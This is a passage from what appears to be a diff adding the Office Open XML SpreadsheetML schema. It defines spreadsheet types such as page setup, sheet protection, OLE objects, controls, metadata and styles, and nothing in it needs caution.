name="draft" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="cellComments" type="ST_CellComments" use="optional" default="none"/> + <xsd:attribute name="useFirstPageNumber" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="errors" type="ST_PrintError" use="optional" default="displayed"/> + <xsd:attribute name="horizontalDpi" type="xsd:unsignedInt" use="optional" default="600"/> + <xsd:attribute name="verticalDpi" type="xsd:unsignedInt" use="optional" default="600"/> + <xsd:attribute name="copies" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_PageOrder"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="downThenOver"/> + <xsd:enumeration value="overThenDown"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_Orientation"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="default"/> + <xsd:enumeration value="portrait"/> + <xsd:enumeration value="landscape"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CellComments"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="asDisplayed"/> + <xsd:enumeration value="atEnd"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_HeaderFooter"> + <xsd:sequence> + <xsd:element name="oddHeader" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="oddFooter" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="evenHeader" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="evenFooter" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="firstHeader" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="firstFooter" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="differentOddEven" type="xsd:boolean" default="false"/> + <xsd:attribute name="differentFirst" type="xsd:boolean" default="false"/> + <xsd:attribute name="scaleWithDoc" type="xsd:boolean" default="true"/> + <xsd:attribute name="alignWithMargins" type="xsd:boolean" default="true"/> + </xsd:complexType> + <xsd:simpleType name="ST_PrintError"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="displayed"/> + <xsd:enumeration value="blank"/> + <xsd:enumeration value="dash"/> + <xsd:enumeration value="NA"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Scenarios"> + <xsd:sequence> + <xsd:element name="scenario" type="CT_Scenario" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="current" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="show" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="sqref" type="ST_Sqref" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_SheetProtection"> + <xsd:attribute name="password" type="ST_UnsignedShortHex" use="optional"/> + <xsd:attribute name="algorithmName" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="hashValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="saltValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="spinCount" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="sheet" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="objects" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="scenarios" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="formatCells" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="formatColumns" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="formatRows" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="insertColumns" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="insertRows" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="insertHyperlinks" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="deleteColumns" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="deleteRows" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="selectLockedCells" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="sort" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="autoFilter" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="pivotTables" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="selectUnlockedCells" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ProtectedRanges"> + <xsd:sequence> + <xsd:element name="protectedRange" type="CT_ProtectedRange" minOccurs="1" + maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ProtectedRange"> + <xsd:sequence> + <xsd:element name="securityDescriptor" type="xsd:string" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="password" type="ST_UnsignedShortHex" use="optional"/> + <xsd:attribute name="sqref" type="ST_Sqref" use="required"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="securityDescriptor" type="xsd:string" use="optional"/> + <xsd:attribute name="algorithmName" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="hashValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="saltValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="spinCount" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Scenario"> + <xsd:sequence> + <xsd:element name="inputCells" type="CT_InputCells" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="locked" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="hidden" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="user" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="comment" type="s:ST_Xstring" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_InputCells"> + <xsd:attribute name="r" type="ST_CellRef" use="required"/> + <xsd:attribute name="deleted" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="undone" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="val" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="numFmtId" type="ST_NumFmtId" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_CellWatches"> + <xsd:sequence> + <xsd:element name="cellWatch" type="CT_CellWatch" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CellWatch"> + <xsd:attribute name="r" type="ST_CellRef" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Chartsheet"> + <xsd:sequence> + <xsd:element name="sheetPr" type="CT_ChartsheetPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sheetViews" type="CT_ChartsheetViews" minOccurs="1" maxOccurs="1"/> + <xsd:element name="sheetProtection" type="CT_ChartsheetProtection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="customSheetViews" type="CT_CustomChartsheetViews" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="pageMargins" minOccurs="0" type="CT_PageMargins"/> + <xsd:element name="pageSetup" type="CT_CsPageSetup" minOccurs="0" maxOccurs="1"/> + <xsd:element name="headerFooter" minOccurs="0" type="CT_HeaderFooter"/> + <xsd:element name="drawing" type="CT_Drawing" minOccurs="1" maxOccurs="1"/> + <xsd:element name="legacyDrawing" type="CT_LegacyDrawing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="legacyDrawingHF" type="CT_LegacyDrawing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="drawingHF" type="CT_DrawingHF" minOccurs="0" maxOccurs="1"/> + <xsd:element name="picture" type="CT_SheetBackgroundPicture" minOccurs="0" maxOccurs="1"/> + <xsd:element name="webPublishItems" type="CT_WebPublishItems" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ChartsheetPr"> + <xsd:sequence> + <xsd:element name="tabColor" type="CT_Color" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="published" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="codeName" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_ChartsheetViews"> + <xsd:sequence> + <xsd:element name="sheetView" type="CT_ChartsheetView" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ChartsheetView"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="tabSelected" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="zoomScale" type="xsd:unsignedInt" default="100" use="optional"/> + <xsd:attribute name="workbookViewId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="zoomToFit" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ChartsheetProtection"> + <xsd:attribute name="password" type="ST_UnsignedShortHex" use="optional"/> + <xsd:attribute name="algorithmName" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="hashValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="saltValue" type="xsd:base64Binary" use="optional"/> + <xsd:attribute name="spinCount" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="content" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="objects" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_CsPageSetup"> + <xsd:attribute name="paperSize" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="paperHeight" type="s:ST_PositiveUniversalMeasure" use="optional"/> + <xsd:attribute name="paperWidth" type="s:ST_PositiveUniversalMeasure" use="optional"/> + <xsd:attribute name="firstPageNumber" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="orientation" type="ST_Orientation" use="optional" default="default"/> + <xsd:attribute name="usePrinterDefaults" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="blackAndWhite" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="draft" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="useFirstPageNumber" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="horizontalDpi" type="xsd:unsignedInt" use="optional" default="600"/> + <xsd:attribute name="verticalDpi" type="xsd:unsignedInt" use="optional" default="600"/> + <xsd:attribute name="copies" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomChartsheetViews"> + <xsd:sequence> + <xsd:element name="customSheetView" minOccurs="0" maxOccurs="unbounded" + type="CT_CustomChartsheetView"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CustomChartsheetView"> + <xsd:sequence> + <xsd:element name="pageMargins" type="CT_PageMargins" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageSetup" type="CT_CsPageSetup" minOccurs="0" maxOccurs="1"/> + <xsd:element name="headerFooter" type="CT_HeaderFooter" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="guid" type="s:ST_Guid" use="required"/> + <xsd:attribute name="scale" type="xsd:unsignedInt" default="100"/> + <xsd:attribute name="state" type="ST_SheetState" default="visible"/> + <xsd:attribute name="zoomToFit" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomProperties"> + <xsd:sequence> + <xsd:element name="customPr" type="CT_CustomProperty" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CustomProperty"> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_OleObjects"> + <xsd:sequence> + <xsd:element name="oleObject" type="CT_OleObject" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_OleObject"> + <xsd:sequence> + <xsd:element name="objectPr" type="CT_ObjectPr" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="progId" type="xsd:string" use="optional"/> + <xsd:attribute name="dvAspect" type="ST_DvAspect" use="optional" default="DVASPECT_CONTENT"/> + <xsd:attribute name="link" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="oleUpdate" type="ST_OleUpdate" use="optional"/> + <xsd:attribute name="autoLoad" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="shapeId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_ObjectPr"> + <xsd:sequence> + <xsd:element name="anchor" type="CT_ObjectAnchor" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="locked" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="defaultSize" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="print" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="disabled" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="uiObject" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="autoFill" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="autoLine" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="autoPict" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="macro" type="ST_Formula" use="optional"/> + <xsd:attribute name="altText" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="dde" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_DvAspect"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="DVASPECT_CONTENT"/> + <xsd:enumeration value="DVASPECT_ICON"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_OleUpdate"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="OLEUPDATE_ALWAYS"/> + <xsd:enumeration value="OLEUPDATE_ONCALL"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_WebPublishItems"> + <xsd:sequence> + <xsd:element name="webPublishItem" type="CT_WebPublishItem" minOccurs="1" + maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_WebPublishItem"> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="divId" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="sourceType" type="ST_WebSourceType" use="required"/> + <xsd:attribute name="sourceRef" type="ST_Ref" use="optional"/> + <xsd:attribute name="sourceObject" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="destinationFile" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="title" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="autoRepublish" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Controls"> + <xsd:sequence> + <xsd:element name="control" type="CT_Control" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Control"> + <xsd:sequence> + <xsd:element name="controlPr" type="CT_ControlPr" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="shapeId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute ref="r:id" use="required"/> + <xsd:attribute name="name" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_ControlPr"> + <xsd:sequence> + <xsd:element name="anchor" type="CT_ObjectAnchor" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="locked" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="defaultSize" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="print" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="disabled" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="recalcAlways" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="uiObject" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="autoFill" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="autoLine" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="autoPict" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="macro" type="ST_Formula" use="optional"/> + <xsd:attribute name="altText" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="linkedCell" type="ST_Formula" use="optional"/> + <xsd:attribute name="listFillRange" type="ST_Formula" use="optional"/> + <xsd:attribute name="cf" type="s:ST_Xstring" use="optional" default="pict"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_WebSourceType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="sheet"/> + <xsd:enumeration value="printArea"/> + <xsd:enumeration value="autoFilter"/> + <xsd:enumeration value="range"/> + <xsd:enumeration value="chart"/> + <xsd:enumeration value="pivotTable"/> + <xsd:enumeration value="query"/> + <xsd:enumeration value="label"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_IgnoredErrors"> + <xsd:sequence> + <xsd:element name="ignoredError" type="CT_IgnoredError" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_IgnoredError"> + <xsd:attribute name="sqref" type="ST_Sqref" use="required"/> + <xsd:attribute name="evalError" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="twoDigitTextYear" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="numberStoredAsText" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="formula" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="formulaRange" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="unlockedFormula" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="emptyCellReference" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="listDataValidation" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="calculatedColumn" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:simpleType name="ST_PaneState"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="split"/> + <xsd:enumeration value="frozen"/> + <xsd:enumeration value="frozenSplit"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TableParts"> + <xsd:sequence> + <xsd:element name="tablePart" type="CT_TablePart" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TablePart"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:element name="metadata" type="CT_Metadata"/> + <xsd:complexType name="CT_Metadata"> + <xsd:sequence> + <xsd:element name="metadataTypes" type="CT_MetadataTypes" minOccurs="0" maxOccurs="1"/> + <xsd:element name="metadataStrings" type="CT_MetadataStrings" minOccurs="0" maxOccurs="1"/> + <xsd:element name="mdxMetadata" type="CT_MdxMetadata" minOccurs="0" maxOccurs="1"/> + <xsd:element name="futureMetadata" type="CT_FutureMetadata" minOccurs="0" + maxOccurs="unbounded"/> + <xsd:element name="cellMetadata" type="CT_MetadataBlocks" minOccurs="0" maxOccurs="1"/> + <xsd:element name="valueMetadata" type="CT_MetadataBlocks" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" maxOccurs="1" type="CT_ExtensionList"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MetadataTypes"> + <xsd:sequence> + <xsd:element name="metadataType" type="CT_MetadataType" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_MetadataType"> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="minSupportedVersion" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="ghostRow" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="ghostCol" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="edit" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="delete" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="copy" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pasteAll" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pasteFormulas" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pasteValues" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pasteFormats" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pasteComments" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pasteDataValidation" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pasteBorders" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pasteColWidths" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pasteNumberFormats" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="merge" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="splitFirst" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="splitAll" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="rowColShift" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="clearAll" type="xsd:boolean" default="false"/> + <xsd:attribute name="clearFormats" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="clearContents" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="clearComments" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="assign" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="coerce" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="adjust" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="cellMeta" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_MetadataBlocks"> + <xsd:sequence> + <xsd:element name="bk" type="CT_MetadataBlock" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_MetadataBlock"> + <xsd:sequence> + <xsd:element name="rc" type="CT_MetadataRecord" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MetadataRecord"> + <xsd:attribute name="t" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="v" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FutureMetadata"> + <xsd:sequence> + <xsd:element name="bk" type="CT_FutureMetadataBlock" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" minOccurs="0" maxOccurs="1" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="name" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_FutureMetadataBlock"> + <xsd:sequence> + <xsd:element name="extLst" minOccurs="0" maxOccurs="1" type="CT_ExtensionList"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MdxMetadata"> + <xsd:sequence> + <xsd:element name="mdx" type="CT_Mdx" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_Mdx"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="t" type="CT_MdxTuple"/> + <xsd:element name="ms" type="CT_MdxSet"/> + <xsd:element name="p" type="CT_MdxMemeberProp"/> + <xsd:element name="k" type="CT_MdxKPI"/> + </xsd:choice> + <xsd:attribute name="n" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="f" type="ST_MdxFunctionType" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_MdxFunctionType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="m"/> + <xsd:enumeration value="v"/> + <xsd:enumeration value="s"/> + <xsd:enumeration value="c"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="p"/> + <xsd:enumeration value="k"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MdxTuple"> + <xsd:sequence> + <xsd:element name="n" type="CT_MetadataStringIndex" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="c" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="ct" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="si" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="fi" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="bc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="fc" type="ST_UnsignedIntHex" use="optional"/> + <xsd:attribute name="i" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="u" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="st" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="b" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_MdxSet"> + <xsd:sequence> + <xsd:element name="n" type="CT_MetadataStringIndex" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="ns" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="c" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="o" type="ST_MdxSetOrder" use="optional" default="u"/> + </xsd:complexType> + <xsd:simpleType name="ST_MdxSetOrder"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="u"/> + <xsd:enumeration value="a"/> + <xsd:enumeration value="d"/> + <xsd:enumeration value="aa"/> + <xsd:enumeration value="ad"/> + <xsd:enumeration value="na"/> + <xsd:enumeration value="nd"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MdxMemeberProp"> + <xsd:attribute name="n" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="np" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_MdxKPI"> + <xsd:attribute name="n" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="np" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="p" type="ST_MdxKPIProperty" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_MdxKPIProperty"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="v"/> + <xsd:enumeration value="g"/> + <xsd:enumeration value="s"/> + <xsd:enumeration value="t"/> + <xsd:enumeration value="w"/> + <xsd:enumeration value="m"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MetadataStringIndex"> + <xsd:attribute name="x" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="s" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_MetadataStrings"> + <xsd:sequence> + <xsd:element name="s" type="CT_XStringElement" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:element name="singleXmlCells" type="CT_SingleXmlCells"/> + <xsd:complexType name="CT_SingleXmlCells"> + <xsd:sequence> + <xsd:element name="singleXmlCell" type="CT_SingleXmlCell" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SingleXmlCell"> + <xsd:sequence> + <xsd:element name="xmlCellPr" type="CT_XmlCellPr" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="r" type="ST_CellRef" use="required"/> + <xsd:attribute name="connectionId" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_XmlCellPr"> + <xsd:sequence> + <xsd:element name="xmlPr" type="CT_XmlPr" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="uniqueName" type="s:ST_Xstring" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_XmlPr"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="mapId" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="xpath" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="xmlDataType" type="ST_XmlDataType" use="required"/> + </xsd:complexType> + <xsd:element name="styleSheet" type="CT_Stylesheet"/> + <xsd:complexType name="CT_Stylesheet"> + <xsd:sequence> + <xsd:element name="numFmts" type="CT_NumFmts" minOccurs="0" maxOccurs="1"/> + <xsd:element name="fonts" type="CT_Fonts" minOccurs="0" maxOccurs="1"/> + <xsd:element name="fills" type="CT_Fills" minOccurs="0" maxOccurs="1"/> + <xsd:element name="borders" type="CT_Borders" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cellStyleXfs" type="CT_CellStyleXfs" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cellXfs" type="CT_CellXfs" 